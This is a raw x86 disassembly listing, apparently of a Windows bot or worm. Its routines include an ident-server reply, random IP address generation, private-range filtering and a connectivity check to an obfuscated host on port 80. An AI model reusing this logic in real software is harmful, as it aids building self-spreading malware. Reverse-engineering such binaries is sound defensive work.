		cmp	[ebp+var_11B8],	0
		jnz	short loc_403EA7


loc_403EA2:				; CODE XREF: sub_403DF3+A4j
		jmp	loc_403FC7
; ---------------------------------------------------------------------------


loc_403EA7:				; CODE XREF: sub_403DF3+ADj
		cmp	[ebp+var_11B8],	0FFFFFFFFh
		jnz	short loc_403EB2
		jmp	short loc_403E75
; ---------------------------------------------------------------------------


loc_403EB2:				; CODE XREF: sub_403DF3+BBj
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_1228],	eax
		cmp	[ebp+var_1228],	0
		jz	short loc_403EF6
		cmp	[ebp+var_1228],	0FFFFFFFFh
		jz	short loc_403EF6
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 10h
		jbe	short loc_403F07


loc_403EF6:				; CODE XREF: sub_403DF3+E6j
					; sub_403DF3+EFj
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403F07:				; CODE XREF: sub_403DF3+101j
		movsx	eax, byte_41EEC8
		test	eax, eax
		jz	short loc_403F27
		push	offset byte_41EEC8
		lea	eax, [ebp+var_1224]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_403F57
; ---------------------------------------------------------------------------


loc_403F27:				; CODE XREF: sub_403DF3+11Dj
		lea	eax, [ebp+var_1200]
		push	eax
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_11DC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1224]
		push	eax
		push	offset byte_41EEC8
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx


loc_403F57:				; CODE XREF: sub_403DF3+132j
		push	offset aUseridUnix ; " : USERID	: UNIX : "
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403FC7:				; CODE XREF: sub_403DF3:loc_403EA2j
		push	[ebp+var_11B4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_403FE1:				; CODE XREF: sub_403DF3+5Aj
		leave
		retn	4
sub_403DF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE5	proc near		; CODE XREF: sub_40A9CF+EECp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_403FFD
		push	[ebp+arg_4]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_404004


loc_403FFD:				; CODE XREF: sub_403FE5+9j
		mov	[ebp+arg_4], offset dword_418A18


loc_404004:				; CODE XREF: sub_403FE5+16j
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40401A
		jmp	short locret_40407B
; ---------------------------------------------------------------------------


loc_40401A:				; CODE XREF: sub_403FE5+31j
		push	6
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_404059
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		test	eax, eax
		jz	short loc_404059
		and	[ebp+var_8], 0
		jmp	short loc_404060
; ---------------------------------------------------------------------------


loc_404059:				; CODE XREF: sub_403FE5+5Ej
					; sub_403FE5+6Cj
		mov	[ebp+var_8], 1


loc_404060:				; CODE XREF: sub_403FE5+72j
		push	[ebp+arg_4]
		push	offset dword_4189F8
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset sub_403DF3
		call	sub_4095A4
		add	esp, 14h

locret_40407B:				; CODE XREF: sub_403FE5+33j
		leave
		retn
sub_403FE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40407D	proc near		; CODE XREF: sub_4055E5+772p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0


loc_404085:				; CODE XREF: sub_40407D+2Cj
		cmp	[ebp+arg_4], 1
		jbe	short loc_4040AB
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_404085
; ---------------------------------------------------------------------------


loc_4040AB:				; CODE XREF: sub_40407D+Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_4040BF
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx


loc_4040BF:				; CODE XREF: sub_40407D+32j
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		not	eax
		leave
		retn
sub_40407D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040E8	proc near		; CODE XREF: sub_4055E5+752p
					; sub_40A9CF+1A2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 2
		jz	short loc_404146
		cmp	[ebp+var_4], 3
		jz	short loc_404124
		cmp	[ebp+var_4], 4
		jz	short loc_404106
		jmp	short loc_40416A
; ---------------------------------------------------------------------------


loc_404106:				; CODE XREF: sub_4040E8+1Aj
		mov	eax, [ebp+arg_0]
		and	al, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404124:				; CODE XREF: sub_4040E8+14j
		mov	eax, [ebp+arg_0]
		and	ah, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 8
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404146:				; CODE XREF: sub_4040E8+Ej
		mov	eax, [ebp+arg_0]
		and	eax, 0FF00FFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 10h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_40416A:				; CODE XREF: sub_4040E8+1Cj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 18h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4040E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404193	proc near		; CODE XREF: sub_404279+Ap
					; sub_40435B+17p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0Ah
		push	[ebp+arg_0]
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		pop	ebp
		retn
sub_404193	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041B7	proc near		; CODE XREF: sub_40D871+5B3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	offset a127_	; "127."
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041D5
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041D5:				; CODE XREF: sub_4041B7+17j
		push	4
		push	offset a172_	; "172."
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041F0
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041F0:				; CODE XREF: sub_4041B7+32j
		push	8
		push	offset a192_168_ ; "192.168."
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40420B
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_40420B:				; CODE XREF: sub_4041B7+4Dj
		push	3
		push	offset a10_	; "10."
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404226
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_404226:				; CODE XREF: sub_4041B7+68j
		xor	eax, eax


loc_404228:				; CODE XREF: sub_4041B7+1Cj
					; sub_4041B7+37j ...
		pop	ebp
		retn
sub_4041B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40422A	proc near		; CODE XREF: sub_402A32+206p
					; sub_403FE5+Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40423C
; ---------------------------------------------------------------------------


loc_404235:				; CODE XREF: sub_40422A:loc_404273j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40423C:				; CODE XREF: sub_40422A+9j
		cmp	[ebp+var_4], 6
		jnz	short loc_404244
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_404244:				; CODE XREF: sub_40422A+16j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_404273
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40426C
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_40426E


loc_40426C:				; CODE XREF: sub_40422A+37j
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_40426E:				; CODE XREF: sub_40422A+40j
		push	1
		pop	eax
		jmp	short locret_404277
; ---------------------------------------------------------------------------


loc_404273:				; CODE XREF: sub_40422A+25j
		jmp	short loc_404235
; ---------------------------------------------------------------------------


loc_404275:				; CODE XREF: sub_40422A+18j
					; sub_40422A:loc_40426Cj
		xor	eax, eax

locret_404277:				; CODE XREF: sub_40422A+47j
		leave
		retn
sub_40422A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404279	proc near		; CODE XREF: sub_4042FB+Cp
					; sub_408B30+197p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_4042A4
		push	1
		pop	eax
		jmp	short locret_4042F9
; ---------------------------------------------------------------------------


loc_4042A4:				; CODE XREF: sub_404279+24j
		push	0BB8h
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41EF48
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_C], eax
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4042DA
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	short loc_4042DA
		and	[ebp+var_18], 0
		jmp	short loc_4042E1
; ---------------------------------------------------------------------------


loc_4042DA:				; CODE XREF: sub_404279+53j
					; sub_404279+59j
		mov	[ebp+var_18], 1


loc_4042E1:				; CODE XREF: sub_404279+5Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4042F6
		push	[ebp+var_C]
		call	sub_4053B1
		pop	ecx


loc_4042F6:				; CODE XREF: sub_404279+72j
		mov	eax, [ebp+var_14]

locret_4042F9:				; CODE XREF: sub_404279+29j
		leave
		retn
sub_404279	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042FB	proc near		; CODE XREF: sub_411D68+4p
					; sub_41349C+1FAp ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41E294, 0
		jnz	short loc_404327
		call	sub_404279
		push	eax
		push	offset dword_41E298
		call	sub_409C9D
		pop	ecx
		pop	ecx
		push	1
		push	offset dword_41E294
		call	sub_409C9D
		pop	ecx
		pop	ecx


loc_404327:				; CODE XREF: sub_4042FB+Aj
		mov	eax, dword_41E298
		pop	ebp
		retn
sub_4042FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40432E	proc near		; CODE XREF: sub_40435B+6p
					; sub_4046BC+5Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	1
		push	17h
		call	ds:dword_417218	; socket
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404350
		push	[ebp+var_4]
		call	sub_4053B1
		pop	ecx


loc_404350:				; CODE XREF: sub_40432E+17j
		xor	eax, eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		setnz	al
		leave
		retn
sub_40432E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40435B	proc near		; CODE XREF: sub_4083AD:loc_4085D6p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_40432E
		test	eax, eax
		jnz	short loc_40436E
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_40436E:				; CODE XREF: sub_40435B+Dj
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_404392
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_404392:				; CODE XREF: sub_40435B+31j
		push	0BB8h
		push	2
		lea	eax, [ebp+var_14]
		push	eax
		push	offset a1	; "::1"
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_8], 0
		jz	short loc_4043CB
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4043CB
		mov	[ebp+var_18], 1
		jmp	short loc_4043CF
; ---------------------------------------------------------------------------


loc_4043CB:				; CODE XREF: sub_40435B+5Fj
					; sub_40435B+65j
		and	[ebp+var_18], 0


loc_4043CF:				; CODE XREF: sub_40435B+6Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4043E4
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_4043E4:				; CODE XREF: sub_40435B+7Ej
		mov	eax, [ebp+var_4]

locret_4043E7:				; CODE XREF: sub_40435B+11j
					; sub_40435B+35j
		leave
		retn
sub_40435B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043E9	proc near		; CODE XREF: sub_408B30:loc_408C9Fp
					; sub_40CA29+231p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	offset aXsUlsbNP ; "•‘Àž«˜¡Ð­¾°¶"
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	7D0h
		push	2
		push	offset a80	; "80"
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_404439
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_404439
		mov	[ebp+var_20], 1
		jmp	short loc_40443D
; ---------------------------------------------------------------------------


loc_404439:				; CODE XREF: sub_4043E9+3Fj
					; sub_4043E9+45j
		and	[ebp+var_20], 0


loc_40443D:				; CODE XREF: sub_4043E9+4Ej
		mov	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404452
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_404452:				; CODE XREF: sub_4043E9+5Ej
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4043E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404457	proc near		; CODE XREF: sub_404FE7+AFp
					; sub_4050EA+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 0
		setz	al
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	ds:dword_417214	; ioctlsocket
		leave
		retn
sub_404457	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40447B	proc near		; CODE XREF: sub_40732D+22Ep
					; sub_40732D+296p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	ds:dword_417214	; ioctlsocket
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setnz	al
		leave
		retn
sub_40447B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40449C	proc near		; CODE XREF: sub_40D871+5A1p
					; sub_411DC5+65p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4044CC
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044CC:				; CODE XREF: sub_40449C+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jz	short loc_4044F2
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044F2:				; CODE XREF: sub_40449C+50j
		push	1
		pop	eax

locret_4044F5:				; CODE XREF: sub_40449C+2Ej
					; sub_40449C+54j
		leave
		retn
sub_40449C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044F7	proc near		; CODE XREF: sub_40732D+DDp
					; sub_4129CA+29p ...

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404527
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_404527:				; CODE XREF: sub_4044F7+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jz	short loc_40454D
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_40454D:				; CODE XREF: sub_4044F7+50j
		push	1
		pop	eax

locret_404550:				; CODE XREF: sub_4044F7+2Ej
					; sub_4044F7+54j
		leave
		retn
sub_4044F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404552	proc near		; CODE XREF: sub_41331E+A6p
					; sub_415F69+256p

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404582
		xor	eax, eax
		jmp	short locret_4045B0
; ---------------------------------------------------------------------------


loc_404582:				; CODE XREF: sub_404552+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_4045B0:				; CODE XREF: sub_404552+2Ej
		leave
		retn
sub_404552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045B2	proc near		; CODE XREF: sub_4143B0+191p
					; sub_415F69+20Ap

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4045E2
		xor	eax, eax
		jmp	short locret_404610
; ---------------------------------------------------------------------------


loc_4045E2:				; CODE XREF: sub_4045B2+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	ds:dword_417238	; ntohs
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_404610:				; CODE XREF: sub_4045B2+2Ej
		leave
		retn
sub_4045B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404612	proc near		; CODE XREF: sub_40D871+69Cp

var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		lea	eax, [ebp+var_408]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jnz	loc_4046B8
		mov	eax, [ebp+var_408]
		mov	[ebp+var_40C], eax


loc_404643:				; CODE XREF: sub_404612+98j
		cmp	[ebp+var_40C], 0
		jz	short loc_4046AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+18h]
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jnz	short loc_40469B
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40469B
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	al, 1
		jmp	short locret_4046BA
; ---------------------------------------------------------------------------


loc_40469B:				; CODE XREF: sub_404612+66j
					; sub_404612+72j
		mov	eax, [ebp+var_40C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_40C], eax
		jmp	short loc_404643
; ---------------------------------------------------------------------------


loc_4046AC:				; CODE XREF: sub_404612+38j
		push	[ebp+var_408]
		call	dword_41DE8C	; freeaddrinfo


loc_4046B8:				; CODE XREF: sub_404612+1Fj
		xor	al, al

locret_4046BA:				; CODE XREF: sub_404612+87j
		leave
		retn
sub_404612	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046BC	proc near		; CODE XREF: sub_4020C2+124p
					; sub_403DF3+36p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		xor	eax, eax
		test	eax, eax
		jz	short loc_4046D1
		mov	[ebp+var_3C], 2
		jmp	short loc_4046D8
; ---------------------------------------------------------------------------


loc_4046D1:				; CODE XREF: sub_4046BC+Aj
		mov	[ebp+var_3C], 1


loc_4046D8:				; CODE XREF: sub_4046BC+13j
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_8], eax
		push	1008h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jnz	short loc_4046F9
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_4046F9:				; CODE XREF: sub_4046BC+34j
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax+804h], 0
		push	20h
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		call	sub_40432E
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		mov	[ebp+var_28], 5
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		push	0
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jz	short loc_40475D
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_40475D:				; CODE XREF: sub_4046BC+8Fj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_4], eax
		jmp	short loc_40476E
; ---------------------------------------------------------------------------


loc_404765:				; CODE XREF: sub_4046BC+DDj
					; sub_4046BC+F1j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40476E:				; CODE XREF: sub_4046BC+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40484E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	ds:dword_417218	; socket
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFFh
		jnz	short loc_40479B
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_40479B:				; CODE XREF: sub_4046BC+DBj
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4047AF
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 17h
		jz	short loc_4047AF
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_4047AF:				; CODE XREF: sub_4046BC+E6j
					; sub_4046BC+EFj
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_4047D6
